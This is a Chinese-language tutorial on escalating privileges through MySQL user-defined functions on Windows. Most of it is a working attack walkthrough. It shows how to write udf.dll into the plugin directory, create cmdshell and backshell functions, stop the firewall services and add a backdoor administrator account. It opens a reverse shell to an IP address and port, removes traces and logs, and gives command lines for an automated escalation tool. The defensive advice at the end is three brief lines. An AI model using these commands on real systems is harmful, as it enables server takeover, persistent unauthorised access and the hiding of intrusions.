一、UDF函數簡介
1.UDF介紹
UDF(user-defined function)是MySQL的一個拓展接口,也可稱之為用戶自定義函數,它是用來拓展MySQL的技術手段,可以說是數據庫功能的一種擴展,用戶通過自定義函數來實現在MySQL中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用,就像本機函數如ABS()或SOUNDEX()一樣方便。UDF官方介紹以及其函數定義請參考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常見的UDF提權外,其實Udf還有更多更廣泛的應用,例如https://github.com/mysqludf/repositories,就提供了非常多的應用:
lib_mysqludf_fPROJ4:一組擴展的科學函數,將地理經度和緯度坐標轉換為笛卡爾坐標,反之亦然。
lib_mysqludf_json:用於將關系數據映射到JSON格式的函數的UDF庫。
lib_mysqludf_log:用於將調試信息寫入日志文件的UDF庫。
lib_mysqludf_preg:直接在MySQL中使用PCRE正則表達式
lib_mysqludf_stat:用於統計分析的UDF庫。
lib_mysqludf_str:一個帶有MySQL附加字符串函數的UDF庫
lib_mysqludf_sys:具有與操作系統交互的功能的UDF庫。這些函數允許您與MySQL運行的執行環境進行交互。
lib_mysqludf_xml:一個UDF庫,用於直接從MySQL創建XML輸出。
有三種方法向MySQL添加新函數。
(1)可以通過用戶定義的函數(UDF)接口添加函數。用戶定義的函數被編譯為庫文件,然后使用CREATE FUNCTION和DROP FUNCTION語句動態添加到服務器或從服務器中刪除。
(2)可以將函數添加為本機(內置)MySQL函數。本機函數被編譯到 mysqld服務器並永久可用。
(3)添加函數的另一種方法是創建存儲的函數。這些是使用SQL語句編寫的,而不是通過編譯目標代碼。
二、Windows下UDF提權的條件和方法
Windows下UDF提權對於Windows2008以下服務器比較適用,也即針對Windows2000、Windows2003的成功率較高。
1. UDF提權條件
(1)Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。
(2)Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
(3)掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創建和拋棄函數,一般以root賬號為佳,具備root賬號所具備的權限的其它賬號也可以。
(4)可以將udf.dll寫入到相應目錄的權限。
2.提權方法
(1)獲取數據庫版本、數據位置以及插件位置等信息
- select version();//獲取數據庫版本
- select user();//獲取數據庫用戶
- select @@basedir ;//獲取安裝目錄
- show variables like '%plugins%'; //尋找mysql安裝路徑
(2)導出路徑
- C:\Winnt\udf.dll Windows 2000
- C:\Windows\udf.dll Windows2003(有的系統被轉義,需要改為C:Windowsudf.dll)
MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創建自定義函數。該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建libplugin文件夾,然后將udf.dll文件導出到該目錄即可。
在某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,網上大牛發現利用NTFS ADS流來創建文件夾的方法:
- select @@basedir; //查找到mysql的目錄
- select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創建lib目錄
- select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創建plugin目錄
執行成功以后就會plugin目錄,然后再進行導出udf.dll即可。
(3)創建cmdshell 函數,該函數叫什么名字在后續中則使用該函數進行查詢:
- create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
(4)執行命令:
- select sys_eval(‘whoami’);
一般情況下不會出現創建不成功哦。
連不上3389可以先停止windows防火牆和篩選
- select sys_eval(‘net stop policyagent’);
- select sys_eval(‘net stop sharedaccess’);
udf.dll下常見函數:
cmdshell 執行cmd;
downloader 下載者,到網上下載指定文件並保存到指定目錄;
open3389 通用開3389終端服務,可指定端口(不改端口無需重啟);
backshell 反彈Shell;
ProcessView 枚舉系統進程;
KillProcess 終止指定進程;
regread 讀注冊表;
regwrite 寫注冊表;
shut 關機,注銷,重啟;
about 說明與幫助函數;
具體用戶示例:
- select cmdshell('net user iis_user 123!@#abcABC /add');
- select cmdshell('net localgroup administrators iis_user /add');
- select cmdshell('regedit /s d:web3389.reg');
- select cmdshell('netstat -an');
(5)清除痕跡
- drop function cmdshell;// 將函數刪除
刪除udf.dll文件以及其它相關入侵文件及日志。
(6)常見錯誤
- #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
- SHOW VARIABLES LIKE "secure_file_priv"
在my.ini 或者mysql.cnf 文件中注銷 (使用#號) 包含secure_file_priv的行。
1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將my.ini中的skip-grant-tables選項去掉。
三、一個提權實例
1.設置Mysql提權腳本文件
將Mysql提權腳本文件上傳到服務器上,運行后,需要對IP地址、UID、passwod、db進行配置,如圖1所示,IP地址一般可以設置為localhost、127.0.0.1以及真實IP地址,uid默認為root,其它具有root用戶權限的用戶名稱也可以,pwd為具有root權限用戶的密碼,db默認選擇mysql,單擊提交查詢內容進行連接測試。
設置Mysql提交腳本文件
2.進行連接測試
連接成功后,會給出相應的提示信息,如圖2所示,給出用戶,數據庫,數據目錄(datadir),基本目錄(basedir),版本,插件路徑,mysql函數等信息。
連接測試
3.創建“shell”函數
單擊“Dump UDF” 將UDF.DLL文件導出到默認的插件目錄下,然后再運行“Create Function”將創建“shell”函數。如圖3所示,如果前面已經創建過shell函數,則會提示系統中已經存在“shell”函數 。
創建“shell”函數
4.查看用戶
在查詢窗口中輸入“select shell('cmd','net user')”查看系統所有的用戶,如圖4所示,可以正常查看系統的所有用戶信息。
查看用戶
5.創建具有管理員權限的用戶
分別在查詢中輸入腳本“select shell('cmd','net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp /add ')”並執行該查詢命令,如果執行成功,則表示在系統中添加“temp”用戶,密碼為“temp123456”,同時將該用戶添加到管理員組中,使其具備管理員權限,執行成功后如圖5,圖6所示。
添加temp用戶
將用戶temp添加到管理員組
6.提權成功
在SQL查詢中輸入“select shell('cmd','net localgroup administrators')”命令查看剛才添加到用戶是否真的添加成功,如圖7所示,查詢結果表明已經將temp用戶添加到管理員組中。
查看管理員用戶
目前對於一些網站來說,一般都會提供遠程終端服務,只要用戶添加成功,則可以直接登錄該服務器,如圖8所示,輸入用戶名和密碼,成功進入該服務器,至此通過mysql的root用戶成功提權。
圖8成功進入服務器
四、其它提權工具
v5est0r 寫了一個Mysql提權綜合利用工具,詳細情況請參考其代碼共享網站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:
1.自動導出你的backdoor和mof文件
2.自動判斷mysql版本,根據版本不同導出UDF的DLL到不同目錄,UDF提權
3.導出LPK.dll文件,劫持系統目錄提權
4.寫啟動項提權
UdF自動提權:
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
LPK劫持提權:
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
啟動項提權:
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st
例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無法進行提權,如圖9所示。
- LOAD_FILE('C:/Users/Administrator/Desktop/mysql-5.6.24-win32/my.ini');
查看mysql數據庫配置文件內容
五、UDF提權總結與防范
目前安裝的Mysql數據庫版本基本是高於5.1版本,通過Mysql查詢可以導出udf.dll但由於mysql中my.ini文件的配置,有可能會導致無法創建自定義函數。這時候就需要修改my.ini進行重啟。
1.提權總結
(1)有webshell的提權
如果獲取了webshell則比較簡單,目前有很多Mysql提權的PHP腳本,可以比較快速的進行提權,在此不贅述。
(2)無webshell的提權
- select version(); //獲取mysql版本
- select @@basedir; //查找到mysql的目錄
- SHOW VARIABLES LIKE '%plugin%' //查看高版本插件位置
通過查詢將udf.dll轉成代碼插入數據庫,然后導出
- use mysql;
- set @a=concat('',0x代碼);
- create table Ghost(data LONGBLOB);
- insert into Ghost values("");update Ghost set data = @a;
- 代碼為select hex(load_file('c:/udf.dll'))中的內容
- select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //導出ufd.dll
- CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//創建函數
- select backshell("192.168.40.135",4444);
(3)使用Python_FuckMySQL工具進行自動提權
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
- python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st
2.安全防范方法
(1)盡量避免提供對外鏈接,通過mysql中的user表進行查看,禁用“%”。
(2)設置復雜的Root賬號密碼。
(3)對my.ini設置只讀屬性,設置plugin目錄為只讀目錄。
【51CTO原創稿件,合作站點轉載請注明原文作者和出處為51CTO.com】